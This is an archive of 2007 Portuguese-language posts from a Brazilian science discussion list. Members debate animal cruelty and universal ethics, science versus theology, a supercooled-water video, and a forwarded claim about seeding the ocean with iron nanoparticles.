Sendo assim, se reconhece que existe uma linha para separar o alcance
dessa consideração, quem deve determinar a linha afinal? Você? Por
que? Deus falou com você? Você sabe mais que o resto de nós?

Aliás, você não respondeu a minha primeira pergunta: como você sabe
que é isso que significa "ética universal"? Por que tantos e tão
capazes filósofos de todos os tempos nunca descobriram isso? Por que
Aristoteles, Thomas de Aquino e outros, nunca nos disseram isso, que a
ética universal é só ter consideração por todos os seres vivos?

Todos os seres vivos, em alguma medida, arriscam minha vida. Mesmo
animais silvestres, como lindos coelhinhos, podem ser vetores de
doenças que arriscam minha vida. Aves, que estão sendo mortas na
Europa, arriscam minha vida ao serem hospedeiros de vírus de gripe
aviária.

Assim como ratos e pombos em cidades. E cães, e gatos, etc.

Bruna: "Comer carne, utlizar-se de produtos animais, assistir
espetáculos com animais, utlizar produtos que provocam dor e
sofrimento aos animais, etc..."

Desculpe, mas existem gradações aqui, e colocar tudo "no mesmo saco" é
uma falácia lógica de "conclusão irrelevante". Veja, eu não gosto de
assistir a apresentações de animais, detesto, e condeno, touradas, mas
uso couro de animais (e você também deve usar, pois nunca me respondeu
se seus sapatos são feitos com derivados animais) e como carne.

Você usa madeira, retirada de seres vivos, que não são
"imprescindíveis" à você, e nem colocam sua vida em risco. Por que?
Será porque a capacidade intelectual de árvores, plantas, etc, é
menor, e não podem sentir dor ou sofrimento? Se for, então a
capacidade intelectual de um ser vivo É importante para você, ao
aplicar sua compaixão, certo?

Não gosto que provoquem dor e sofrimento a animais, sem motivo e por
crueldade, mas matar para comer é um motivo, e quem o faz não está
sendo cruel (que é um sentimento, não uma ação).

Não é você que decide, pelo resto do mundo, o que é certo ou errado,
Bruna. Você não tem o privilégio da "verdade verdadeira", embora tenha
direito a sua opinião e a agir conforme esta. Se não, fica parecendo
mais uma religião pessoal.

Bruna: "é imprescindível a tua existência?
Se acreditas que sim, então não somente os animais são teus escravos
como tu também és escravo das tuas crenças e consumismo."

Aqui temos claramente a manifestação de uma "religião", com até os
pronomes trocados por "tu", para maior impacto nos ouvintes..:-) És
tu, o filho de deus, ó senhor"..:-)

Sim, considero imprescindível a minha existência, me alimentar de
proteína animal, de carne e ovos, de leite, de mel (ainda acha que
abelhas operárias são "exploradas" por fazendeiros capitalistas cruéis?).

Claro que prefiro que os animais que nos alimentam sejam bem tratados,
e mesmo melhor tratados do que são hoje, mas há uma enorme distância
entre trata-los melhor e trata-los como seres humanos.

O que acha que aconteceria com as colméias, Bruna, se não usássemos
seu mel? Pensa que as abelhas seriam "mais felizes", que "trabalhariam
menos", que "tirariam mais férias, iriam visitar parentes, brincariam
com seus filhos", etc?

Esse tipo de antropocentrismo é absurdo. Abelhas fariam a mesma coisa,
quer tirássemos seu mel, que não tirássemos. É de sua natureza, e não
se sentem mais ou menos infelizes com a retirada do mel.

Como tenho dito, compreendo sua luta para melhores condições de
criadouros e abatedouros, e compartilho desse desejo, mas não penso
que comer carne seja, de qualquer forma, um pecado, eticamente errado
ou daninho. E penso que é direito de todos escolherem sua posição
neste caso.

Um abraço.

Homero




SUBJECT: Video de experimentos con agua súper-enfriada.
FROM: Franco <interfisica@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 00:44

N�o entendo muito de espanhol, mas pelo t�tulo pode-se ter uma id�ia do que
se trata.

N�o assisti ao v�deo, ainda. Segue abaixo o link para o referido post e o
texto do mesmo.

Franco.



http://vicente1064.blogspot.com/2007/03/video-de-experimentos-con-agua-sper.html


Video de experimentos con agua
s�per-enfriada.<http://vicente1064.blogspot.com/2007/03/video-de-experimentos-con-agua-sper.html>
Cuando
el agua se encuentra en condiciones particulares de presi�n y temperatura se
puede encontrar en un estado meta-estable. Es decir, el agua presenta una
estabilidad precaria, por lo que un poco de energ�a; por ejemplo, una
sacudida de poca intensidad puede provocar la congelaci�n r�pida, s�bita de
todo el l�quido.

Recordemos que los estados de agregaci�n de la materia nos permiten
distinguir las diferencias notables de un l�quido y un s�lido, cuando se
disminuye lentamente la temperatura se puede llegar a una condici�n a punto
de obtener el hielo. Un ejemplo extrapolado puede ser el siguiente: imagine
que se encuentra cerca, muy cerca de un precipicio, cualquier variaci�n del
terreno, una falta de equilibrio, una peque�a brisa es suficiente para que
caiga en el precipicio. De la misma manera el agua se lleva al l�mite donde
sus mol�culas pueden permanecer en estado liquido, hasta que una variaci�n
de energ�a m�nima trasforma las mol�culas en una forma cristalina.

En este video se observan varias botellas s�per-enfriadas. Es decir,
enfriadas por abajo del punto de congelaci�n; ello se logra por mantenerlas
un largo rato sin mover y bajando la temperatura lentamente. Despu�s de
varios intentos � seguro as� se obtuvo el video � se muestran varias
botellas con liquido que r�pidamente se congela por medio de peque�as
sacudidas o por introducir un peque�o hielo, estas acciones desencadenan el
cambio de fase. Considero que el video es muy ilustrativo, especialmente en
el uso de una "semilla" de hielo para trasformar el resto del l�quido, as�
el experimento concuerda (como debe ser) con la termodin�mica.

Los videos como �ste nos muestran experimentos cient�ficos muy interesantes
y f�ciles de desarrollar en casa. Sin necesidad, de aparatos complicados, o
poner la salud en riesgo se puede hacer ciencia. �Crees que t� puedes lograr
repetir estos experimentos?

--

Linux User: #385726


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Fw: [ciencialist] Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 10:21

E quem disse que eu nao estou procurando??
A parada foi estrategica pq notei que não estavamos
saindo do lugar.
Se vc tiver algum indicativo dessa ética então prove
a todos desta lista sob pena de ser derrubado pelos
argumentos de Homero & cia.

Abraços


--- José Renato <jrma@terra.com.br> escreveu:

> Chicão, sou-lhe grato pela troca de idéias. Mas vale
> perguntar: como vamos
> achar a ética universal se não a procurarmos?
> Parece-me que a questão está
> muito menos em encontrá-la, do que na força
> necessária para considerá-la e
> praticá-la. Estamos esgotados por tantas
> solicitações que não nos sobra
> energia para sermos o que dizemos ser: homo
> sapiens-sapiens.
> []s
> José Renato
> .............................................
>
> From: "Chicao Valadares" <chicaovaladares@To:
> <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 12, 2007 12:07 PM
> Subject: Re: Fw: [ciencialist] Crueldade com animais
>
>
> > JR vou parar por aqui. Enquanto não acharmos a
> ética
> > universal vamos ficar apenas nos achismos e no
> plano
> > da retórica. Foi proveitosa toda essa polêmica.
> Essa
> > história de escolha lembra aquele velho dilema
> entre
> > determinismo e acaso. Mas isso fica pra um outro
> > debate....
> >
> > Abraços.
> >
> > --- José Renato <jrma@terra.com.br> escreveu:
> >
> >> Olá, Chicão! Essa é uma questão de escolha... A
> >> nossa vida é construída,
> >> destruída ou mantida por permanentes escolhas que
> >> fazemos e pelas decisões
> >> que tomamos. Encontrar as melhores decisões e
> >> escolhas para cada situação é
> >> a pedra de toque que os sábios buscam há tempos.
> >> Como elas são praticamente
> >> infinitas alguns roteiros básicos são copilados
> para
> >> orientações gerais. Mas
> >> no particular, cada um vai ter de optar, escolher
> e
> >> decidir. Ou deixar que
> >> decidam por nós.
> >> Faço outros comentários no corpo do e-mail, após
> >> JR2, OK?
> >> ..............................................
> >> From: "Chicao Valadares" <chicaovaladares@To:
> >> <ciencialist@yahoogrupos.com.br>
> >> Sent: Thursday, March 08, 2007 4:22 PM
> >> Subject: Re: Fw: [ciencialist] Crueldade com
> animais
> >>
> >>
> >> > JR, minhas respostas seguem depois do ">>>>>".
> >> >
> >> > JR1 - Dor e prazer são sinais sensíveis
> relativos.
> >> O
> >> > atleta sofre muito durante a preparação para
> bater
> >> > seus recordes com a intenção de ter o prazer de
> >> > possuir uma medalha de ouro, seu nome nos
> anais,
> >> > valorização,
> >> > admiração, etc. Dor e prazer não são
> indicativos
> >> > absolutos. Muitas vezes o prazer de comer uma
> >> caixa de
> >> > chocolate acaba mal. Esse equilíbrio nas
> atitudes
> >> já
> >> > era perseguido por Sócrates com muito empenho.
> >> Perceba
> >> >
> >> > que buscar a felicidade, a glória e o gozo é o
> >> > objetivo maior e legítimo do ser humano. As
> >> > dificuldades ocorrem quando minha visão é curta
> e
> >> > atropelo tudo que de bom possuo para obter
> isso. A
> >> > troca é prejudicial a
> >> > mim e a todos que uso ou despacho para obter a
> >> > felicidade a qualquer custo. Vou postar uma
> >> reflexão
> >> > que fiz sobre isso, provocada há tempos
> >> > pelo Bulcão, na lista Acropolis.
> >> >
> >> >>>>>>Concordo com a relatividade.
> >> >
> >> >
> >> > JR1 - Mas quando o ser humano toma consciência
> de
> >> sua
> >> > existência passa a buscar viver de verdade, ter
> um
> >> amor de
> >> > verdade, ser feliz de verdade... Ilusões
> distraem
> >> e confortam
> >> > durante algum tempo. Mas o bom mesmo é
> >> > a realidade com todas as sua conseqüências.
> >> >
> >> >>>>>>O que é verdade??? A realidade é boa porque
> dá
> >> > prazer??? Eu posso na MATRIX fazer com que voce
> >> saiba mais
> >> > verdades que uma pessoa comum. Com isso você
> >> pensaria
> >> > que conhece a realidade e seria bom para você.
> >> > Não gostaria de entrar na MATRIX???
> >> JR2 - Parece que o que faço o tempo todo é tentar
> >> sair dela, da geléia geral
> >> em que estamos vivendo, da ilusão manipulada
> pelos
> >> meios de comunicação
> >> acionados pelos interesses comerciais e
> políticos.
> >> Viver na realidade ou na
> >> verdade dá mais segurança, harmonia,
> >> tranquilidade... O melhor em tudo é não
> >> confundir o imaginado e o sonhado com a
> Realidade. É
> >> isso que a Ciência
> >> busca.
> >> >
> >> > JR1 - Viver de mentirinha é o que já faço de
> >> diversas
> >> > maneiras e em diversas ocasiões. Mas os meus
> >> melhores
> >> > momentos da vida vieram através da realidade e
> da
> >> > lucidez em percebê-la. Nela me realizo.
> >> >
> >> >>>>>>Não gostaria de entrar na MATRIX???
> >> JR2 - De algum modo já estamos nela. O que
> procuro é
> >> sair dela.
> >> >
> >> > JR1 - É o que todos os "espertos e sabidórios"
> >> > fazem... Quanto a não
> >> > ser punido ou não sentir remorsos não é uma
> >> certeza
> >> > obtida de antemão.
> >> > Quando menos se espera vem a tal crise
> existencial
> >> e
> >> > aí o cara se
> >> > constata um merda, mentiroso, falso, safado,
> lixo,
> >> > traidor, etc. e nem sabe
> >> > mais quem ele é de fato no meio de tanta
> falsidade
> >> e
> >> > mentira.
> >> >
> >> >>>>>>Todas as pessoas não são assim. Existem
> >> aquelas
> >> > que não sentem nenhum remorso em fazer ações
> >> > consideradas más.
> >> JR2 - Alguns sentimentos são inatos. Prejudicar
> >> conscientemente alguém gera
> >> no fundo uma reflexão tipo "e se ele fizesse isso
> >> para mim" que vai geram um
> >> sentimento semelhante ao que chamamos de remorso.
> Em
> >> estudos dos diversos
> >> órgãos ou componentes do nosso sistema cognitivo
> >> identifica-se regiões onde
> >> estão os "bancos de dados" e procedimentos de
> >> avaliação ética-moral. Célebre
> >> é o caso do trabalhador que sofreu dano no
> célebro
> >> provocado por um prego
> >> disparado por uma pistola pneumática. Penetrou na
> >> cabeça, mas ele continuou
> >> consciente e aparentemente não prejudicou em nada
> >> seus movimentos e
> >> atividades intelectuais. Após a remoção do prego,
> >> recuperação e volta ao
> >> trabalho, observou-se que o cara estava com um
> >> comportamento diferente,
> >> aético, entrão, imoral, inconveniente... A partir
> >> daí começou-se a fazer
> >> testes mais acurados sobre o funcionamento dessa
> >> região afetada e de outras
> >> regiões do cérebro.
> >> >
> >> > JR1 - Prejudicar, sacanear ou fazer mal a
> alguém
> >> pode
> >> > dar algum prazer, algum tipo de emoção forte.
> Os
> >> > cruéis patológicos têm orgasmos ao praticar
> >> violência,
>
=== message truncated ===


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] P/ Ferrari - Re: Sobre o Método Cientifico - teologia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/03/2007 10:29

Meu caro amigo e poeta Ferrari
(parabéns pelo desempenho de sua equipe, hoje de madrugada...)

Só uma observação: não existem leis teológicas para o Universo.
Teologia, por sua etmologia é "conhecer a deus". Considerando-se a inexistência desse deus muçulmano-judaico-cristão, não deve andar ao lado da ciência: Teologia é simplesmente estudo para os cristãos.
A ciência tem por base a filosofia que é simplesmente um método de se pensar bem.

sds.,
silvio.

----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 17, 2007 10:06 PM
Subject: Re: [ciencialist] P/ Ferrari - Re: Sobre o Método Cientifico - teologia


hehehehe...

homero, fica tranquilo
as leis do universo, sejam eles, cientifica ou
teológicas, não vão desentorar a banana,
nem acabar com nossa cordialidade

aboçomano
ferrari

--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> Olá Ferrari
>
> Ferrari: "Hehehe... é mais facil uma banana ficar
> reta do
> > que um cientista meterialista dar o braço a
> torcer.
> > Será que vcs não percebem que a ciencia
> materialista
> > também é uma forma de teologia? sim, percebem
> sim...
> > duro é admitir, né? hehehehe..."
>
> Ironia é algo divertido, mas só funciona se se
> embasar em algo real. A
> sua perdeu o alvo por quilômetros..:-)
>
> Primeiro, TEOLOGIA e TELEOLOGIA são coisas
> completamente
> diferentes..:-) Sua confusão torna tola e sem
> sentido sua ironia.
>
> Sugiro dar uma estudada em David Hume, o argumento
> teleológico e um
> pouco de filosofia básica..:-)
>
> Segundo, ciência materialista é pleonasmo: toda
> ciência, por
> definição, é materialista, lidando com aspectos
> concretos, materiais,
> de nosso universo físico. E, isso é evidente para
> qualquer um que
> tenha mais de dois neurônios e um pingo de
> informação sobre ciência,
> teologia e filosofia, todos esses produtos do
> intelecto humano são
> diferentes (embora, em alguns casos, tenham zonas de
> contato).
>
> Na verdade, o duro é admitir que o que a ciência faz
> dá de 100 a zero
> na teologia, em termos de eficácia e aproximação com
> a verdade e o
> real (embora em termos de superstições e tolices, a
> teologia ganhe
> disparado, claro..:-)
>
> Por favor, é apenas uma brincadeira (ironia nos
> olhos do outros é
> refresco..:-), não leva muito à sério tudo isso.
>
> Um abraço.
>
> Homero
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, Ferrari
> <emailferrari@...> escreveu
> >
> > Chicão: "Em nenhum momento eu falei de
> teleologia."
> >
> > --- Hehehehe... vc é que pensa.
> >
> > Homero: Nem eu.
> >
> > --- Hehehe... é mais facil uma banana ficar reta
> do
> > que um cientista meterialista dar o braço a
> torcer.
> > Será que vcs não percebem que a ciencia
> materialista
> > também é uma forma de teologia? sim, percebem
> sim...
> > duro é admitir, né? hehehehe...
> >
> >
> >
> > abçomanos
> > ferrari
> >
> >
> >
> > - - - - - - - - - - - - - - -
> >
.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fw: nanotecnologia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/03/2007 10:31

o anexo não chegou.
Interessante que essa notícia não saiu nas gazetas ou revistas.

sds.,
silvio
----- Original Message -----
From: murilo filo
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 17, 2007 10:19 PM
Subject: [ciencialist] Fw: nanotecnologia


Oi, lista!
Será possível um treco assim?
obr/abr M.

Subject: Fw: nanotecnologia
>Date: Sat, 17 Mar 2007 21:56:14 -0300
>
>Bom dia
>
>No mar entre a Nova Zelândia e a Antártica foram espalhadas partículas de
>20 nanômetros de ferro com o objetivo de produzir plancton que, por sua
>vez, sequestraria o dióxido de carbono, reduzindo assim a temperatura.
>
>O efeito foi tão surpreendente e aterrador que um dos cientistas disse: "Se
>tivesse meio petroleiro de nanopartículas poderia causar uma nova era
>glacial no planeta".
>
>É o que escreve o Leonardo Boff em artigo publicado hoje em A Notícia e que
>se encontra no anexo.
>
>
>
>Bom fim de semana
>
>
>
>Hélio Mazzolli
>
>
>
>

[As partes desta mensagem que não continham texto foram removidas]






------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: P/ Murilo - Crueldade com animais
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
CC: <Conversa_de_Botequim@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 18/03/2007 10:52

Homero:

Ter "compaixão" (Pesar que em nós desperta a infelicidade, a dor, o mal de outrem; piedade, pena, dó, condolência.}
pela morte ou sofrimento de um ser vivo é uma condição humana pessoal e depende mais dos usos consuetudinários: Os diversos grupamentos humanos têm enormes diferenças sobre como tratar os animais - um país, como a Espanha pessoas "educadas" apreciarem a tauromaquia é inconcebíbel para uma pessoa racional... e eles são racionais: apenas receberam uma educação diferenciada com referência a essa prática: nos demais atos civilizados têm comportamento idêntico aos demais grupamentos ocidentais.
As baratas, os ratos, cupins, animais peçonhentos por instinto de defesa da pessoa e de seus bens, esses e outros animais têm de ser eliminados por ameaçar a saúde e a economia dos humanos que são os animais que dominarom o mundo (por enquanto).
É sobrelevada, ela, a compaixão, pelo instinto atávico de defesa.

No mundo atual se os humanos não respeitam nem os de sua própria espécie - a miséria e as doenças recobrem os humanos - essa de ter dó de animais passa mais pela vaidade, pelo desejo de se mostrar "diferente": quem diz ter um dó de animais possivelmente jamais ajudou de forma eficáz outros irmãos seus.


Amém.....

silvio.

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 17, 2007 10:36 PM
Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais


Olá Murilo

Murilo: "Caramba, Horáculo...
Vc já foi melhor! Frente à realidade estabelecida há milhões de anos,
ela só está falando de algo denominado de ''empatia'', ou ''compaixão''."

Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
quero saber é em que ponto devemos colocar a linha que divide a
aplicação concreta dessa compaixão.

Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?

Em algum momento, sob pena de tornar o argumento absurdo, temos de
relativizar essa compaixão, não?

Agora, o que a realidade de milhões de anos tem a ver com esta
questão? Também não é uma pergunta retórica, eu realmente queria saber
sua resposta sobre isso.

Por exemplo, as doenças se desenvolvem e evoluem há milhões de anos, e
nenhum dos seres vivos que as causam tem a menor compaixão ou mesmo a
menor idéia do que isso seja.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
<avalanchedrive@...> escreveu
>
> Caramba, Horáculo...
> Vc já foi melhor!
> Frente à realidade estabelecida há milhões de anos, ela só está
falando de
> algo denominado de ''empatia'', ou ''compaixão''.
> abr/M.
>
>
> >From: "oraculo333" <oraculo@...>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> >Date: Sat, 17 Mar 2007 19:36:14 -0000
> >
> >Olá Bruna
> >
> >Bruna: "A ética universal está na razão de darmos a mesma a
> >consideração ao sofrimento de outros seres como damos ao nosso próprio
> >sofrimento, independente da espécie, do sexo e das habilidades
> >intelectuais."
> >
> >Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu não
> >acreditar em você, como pretende provar que é assim? Ou é apenas uma
> >questão de crença, devemos acreditar em você e pronto?
> >
> >Quer dizer, de onde tirou tal informação, que é uma das mais
> >importantes e mais polêmicas da filosofia, a existência ou não de uma
> >ética universal? Como só você encontrou a resposta, que tem dividido e
> >assombrado filósofos por séculos?
> >
> >Seria interessante saber como chegou a essa conclusão, o que a embasa,
> >quais as evidências, etc. Poderia resolver grandes problemas
> >filosóficos do ser humano.
> >
> >Em segundo, fiquei curioso com este trecho em especial, em relação a
> >parte prática, a forma de aplicar esse, generoso, princípio:
> >
> >Bruna: "independente da espécie, do sexo e das habilidades
intelectuais."
> >
> >Todos os seres vivos, independente da espécie? E das habilidades
> >intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
> >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> >
> >E animais selvagens, devemos destruir todas as cidades, para que
> >possam voltar a habitar seus ambientes originais?
> >
> >E ratos, devemos impedir que sejam mortos nas cidades, pensando em sua
> >"dor"?
> >
> >Se eu tiver uma infecção de pele, devo evitar de aplicar remédios que
> >causem a morte dos micro-organismos que habitam ali? Se pegar
> >lombrigas, não posso tomar remédios que causem dor e morte a elas? As
> >pessoas que vivem em áreas da África assoladas por doenças como
> >elefantíase, não podem aplicar as drogas que matam as moscas
> >transmissoras?
> >
> >Por favor, não é uma pergunta retórica ou uma armadilha, eu realmente
> >quero saber como pretende aplicar sua alegação a casos concretos, já
> >que não há nela nenhuma limitação ou forma de decidir a linha de
"corte".
> >
> >Se considerarmos a dor de TODOS os seres vivos, independentemente de
> >qualquer outra coisa, espécie ou capacidade intelectual, como devo
> >agir nos casos concretos que citei?
> >
> >Um abraço.
> >
> >Homero
> >
> >
> >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> ><brunacribas@> escreveu
> > >
> > > A ética universal está na razão de darmos a mesma a consideração ao
> >sofrimento de outros seres como damos ao nosso próprio sofrimento,
> > > independente da espécie, do sexo e das habilidades intelectuais.
> > >
> > > Abraços,
> > >
> > > da Bruna
> > >
> > >
> > > José Renato <jrma@> escreveu:
> >Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como
> >vamos
> > > achar a ética universal se não a procurarmos? Parece-me que a
> >questão está
> > > muito menos em encontrá-la, do que na força necessária para
> >considerá-la e
> > > praticá-la. Estamos esgotados por tantas solicitações que não nos
> >sobra
> > > energia para sermos o que dizemos ser: homo sapiens-sapiens.
> > > []s
> > > José Renato
> > > .............................................
> > >
> > > From: "Chicao Valadares" <chicaovaladares@To:
> > > <ciencialist@yahoogrupos.com.br>
> > > Sent: Monday, March 12, 2007 12:07 PM
> > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > >
> > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > universal vamos ficar apenas nos achismos e no plano
> > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > história de escolha lembra aquele velho dilema entre
> > > > determinismo e acaso. Mas isso fica pra um outro
> > > > debate....
> > > >
> > > > Abraços.
> > > >
> > > > --- José Renato <jrma@> escreveu:
> > > >
> > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > >> nossa vida é construída,
> > > >> destruída ou mantida por permanentes escolhas que
> > > >> fazemos e pelas decisões
> > > >> que tomamos. Encontrar as melhores decisões e
> > > >> escolhas para cada situação é
> > > >> a pedra de toque que os sábios buscam há tempos.
> > > >> Como elas são praticamente
> > > >> infinitas alguns roteiros básicos são copilados para
> > > >> orientações gerais. Mas
> > > >> no particular, cada um vai ter de optar, escolher e
> > > >> decidir. Ou deixar que
> > > >> decidam por nós.
> > > >> Faço outros comentários no corpo do e-mail, após
> > > >> JR2, OK?
> > > >> ..............................................
> > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > >> <ciencialist@yahoogrupos.com.br>
> > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > >>
> > > >>
> > > >> > JR, minhas respostas seguem depois do ">>>>>".
> > > >> >
> > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > >> O
> > > >> > atleta sofre muito durante a preparação para bater
> > > >> > seus recordes com a intenção de ter o prazer de
> > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > >> > valorização,
> > > >> > admiração, etc. Dor e prazer não são indicativos
> > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > >> caixa de
> > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > >> já
> > > >> > era perseguido por Sócrates com muito empenho.
> > > >> Perceba
> > > >> >
> > > >> > que buscar a felicidade, a glória e o gozo é o
> > > >> > objetivo maior e legítimo do ser humano. As
> > > >> > dificuldades ocorrem quando minha visão é curta e
> > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > >> > troca é prejudicial a
> > > >> > mim e a todos que uso ou despacho para obter a
> > > >> > felicidade a qualquer custo. Vou postar uma
> > > >> reflexão
> > > >> > que fiz sobre isso, provocada há tempos
> > > >> > pelo Bulcão, na lista Acropolis.
> > > >> >
> > > >> >>>>>>Concordo com a relatividade.
> > > >> >
> > > >> >
> > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > >> sua
> > > >> > existência passa a buscar viver de verdade, ter um
> > > >> amor de
> > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > >> e confortam
> > > >> > durante algum tempo. Mas o bom mesmo é
> > > >> > a realidade com todas as sua conseqüências.
> > > >> >
> > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > >> saiba mais
> > > >> > verdades que uma pessoa comum. Com isso você
> > > >> pensaria
> > > >> > que conhece a realidade e seria bom para você.
> > > >> > Não gostaria de entrar na MATRIX???
> > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > >> sair dela, da geléia geral
> > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > >> meios de comunicação
> > > >> acionados pelos interesses comerciais e políticos.
> > > >> Viver na realidade ou na
> > > >> verdade dá mais segurança, harmonia,
> > > >> tranquilidade... O melhor em tudo é não
> > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > >> isso que a Ciência
> > > >> busca.
> > > >> >
> > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > >> diversas
> > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > >> melhores
> > > >> > momentos da vida vieram através da realidade e da
> > > >> > lucidez em percebê-la. Nela me realizo.
> > > >> >
> > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > >> sair dela.
> > > >> >
> > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > >> > fazem... Quanto a não
> > > >> > ser punido ou não sentir remorsos não é uma
> > > >> certeza
> > > >> > obtida de antemão.
> > > >> > Quando menos se espera vem a tal crise existencial
> > > >> e
> > > >> > aí o cara se
> > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > >> > traidor, etc. e nem sabe
> > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > >> e
> > > >> > mentira.
> > > >> >
> > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > >> aquelas
> > > >> > que não sentem nenhum remorso em fazer ações
> > > >> > consideradas más.
> > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > >> conscientemente alguém gera
> > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > >> para mim" que vai geram um
> > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > >> estudos dos diversos
> > > >> órgãos ou componentes do nosso sistema cognitivo
> > > >> identifica-se regiões onde
> > > >> estão os "bancos de dados" e procedimentos de
> > > >> avaliação ética-moral. Célebre
> > > >> é o caso do trabalhador que sofreu dano no célebro
> > > >> provocado por um prego
> > > >> disparado por uma pistola pneumática. Penetrou na
> > > >> cabeça, mas ele continuou
> > > >> consciente e aparentemente não prejudicou em nada
> > > >> seus movimentos e
> > > >> atividades intelectuais. Após a remoção do prego,
> > > >> recuperação e volta ao
> > > >> trabalho, observou-se que o cara estava com um
> > > >> comportamento diferente,
> > > >> aético, entrão, imoral, inconveniente... A partir
> > > >> daí começou-se a fazer
> > > >> testes mais acurados sobre o funcionamento dessa
> > > >> região afetada e de outras
> > > >> regiões do cérebro.
> > > >> >
> > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > >> pode
> > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > >> > cruéis patológicos têm orgasmos ao praticar
> > > >> violência,
> > > >> > mas é um distúrbio mental que não me parece grande
> > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > >> minha
> > > >> > experiência de vida para discernir o que é melhor,
> > > >> o
> > > >> > que deve ser evitado e o que precisa ser superado,
> > > >> é
> > > >> > um exercício diário que requer tempo, coragem e
> > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > >> outros
> > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > >> que tenha
> > > >> > alguma chance de obter melhores resultados...
> > > >> >
> > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > >> você
> > > >> > disse é relativo.
> > > >> JR2 - Em sã consciência somos capazes das maiores
> > > >> crueldades e das maiores
> > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > >> fazer alguma ignomínia.
> > > >> Basta estar na situação adequada para praticá-la. E
> > > >> como sempre consideramos
> > > >> algum ponto de referência pode estar certo que não
> > > >> só o resto como tudo o
> > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > >> um ponto ótimo
> > > >> inatingível como referência ou norte.
> > > >> >
> > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > >> ilude
> > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > >> > sofistica as formas burlar, de modo a ser à prova
> > > >> de
> > > >> > qualquer investigação, até que alguém de dentro do
> > > >> > esquema se sente enganado e, antes de ser
> > > >> eliminado,
> > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > >> >
> > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > >> > ficarem sob segredo.
> > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > >> ser
> > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > >> mau
> > > >> > também pode ser vantajoso ao invés de ser bom.
> > > >> Note
> > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > >> jogos).
> > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > >> > esse principio você é igual às siglas. [ ... ]
